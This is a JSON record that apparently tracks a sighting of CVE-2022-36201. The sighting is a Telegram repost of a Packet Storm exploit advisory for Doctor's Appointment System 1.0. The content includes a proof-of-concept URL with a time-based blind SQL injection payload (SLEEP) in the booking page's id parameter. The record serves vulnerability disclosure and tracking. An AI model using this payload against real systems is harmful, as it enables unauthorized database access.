{"uuid": "bfa0cb9b-f7b2-4052-8bec-141ef11adafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36201", "type": "seen", "source": "https://t.me/hacking_Attack/67591", "content": "Exploit Collector\nDoctor's Appointment System 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png \nDoctor's Appointment System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to Soham Bakore and Nakul Ratti in February of 2021.\n\nSHA-256 | bba8e606cf86fb9a7af0f1c090bad1896d40e1260de7bcb58ab348d6a559cec4\n\nDownload\n# Exploit Title: SQLi - Doctor's Appointment System v1.0\n# Google Dork: N/A\n# Date: 7/13/2022\n# Exploit Author: Abdullah Zaid - @_aznull\n# Vendor Homepage:\nhttps://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html\n# Software Link:\nhttps://www.sourcecodester.com/sites/default/files/download/hshnudr/edoc-doctor-appointment-system-main_1.zip\n# Version: 1.0\n# Tested on: Linux\n# CVE : CVE-2022-36201\nPOC:\n\nhttp://localhost/edoc/patient/booking.php?id=1%20AND%20(SELECT%203436%20FROM%20(SELECT(SLEEP(10)))dZls)\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:25.436864Z"}